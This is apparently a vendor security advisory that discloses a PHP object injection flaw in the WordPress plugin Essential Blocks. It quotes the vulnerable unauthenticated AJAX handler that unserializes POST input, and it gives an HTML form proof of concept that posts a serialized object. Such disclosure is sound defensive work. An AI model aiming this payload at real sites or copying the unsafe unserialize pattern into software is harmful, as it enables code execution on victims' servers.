21 Aug 2023

Latest Version of 100,000+ Install WordPress Plugin Essential Blocks Adds PHP Object Injection Vulnerability

One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a PHP object injection vulnerability being introduced in to the plugin Essential Blocks, which has 100,000+ installs. That is yet another vulnerability in a plugin from WPDeveloper.

We now are also running all the code in the plugins used by our customers through that monitoring system on a weekly basis to provide additional protection for them.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our firewall plugin for WordPress protected against exploitation of this vulnerability, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

PHP Object Injection

In the latest version of the plugin a new file was added, /includes/Integrations/Pagination.php, which includes the function post_grid_block_pagination_callback(). That function is made accessible through through WordPress’ AJAX functionality to even those not logged in to WordPress:

7
8
9
10
$this->add_ajax( [
	'post_grid_block_pagination' => [
		'callback' => 'post_grid_block_pagination_callback',
		'public'   => true

The function checks for a valid nonce, to prevent cross-site request forgery (CSRF), and then it passes user input, in the form of the POST inputs “querydata” and “attributes”, to the PHP function unserialize():

18
19
20
21
22
23
24
25
26
public function post_grid_block_pagination_callback() {
	if ( ! wp_verify_nonce( $_POST['post_grid_pagination_nonce'], 'eb-pagination-nonce' ) ) {
		die( __( 'Nonce did not match', 'essential-blocks' ) );
	}
 
	$html = '';
 
	$query           = unserialize( wp_unslash( $_POST['querydata'] ) );
	$attributes      = unserialize( wp_unslash( $_POST['attributes'] ) );

PHP’s documentation for unserialize() provides this warning on passing user input to the function:

Do not pass untrusted user input to unserialize() regardless of the options value of allowed_classes. Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this.

The nonce needed to exploit that is accessible to those not logged in on at least pages for single WordPress posts.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown.

Replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of “post_grid_pagination_nonce” found in the source code of a page with a single WordPress post.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=post_grid_block_pagination" method="POST">
<input type="hidden" name="post_grid_pagination_nonce" value="[nonce]" />
<input type="hidden" name="querydata" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published. Required fields are marked *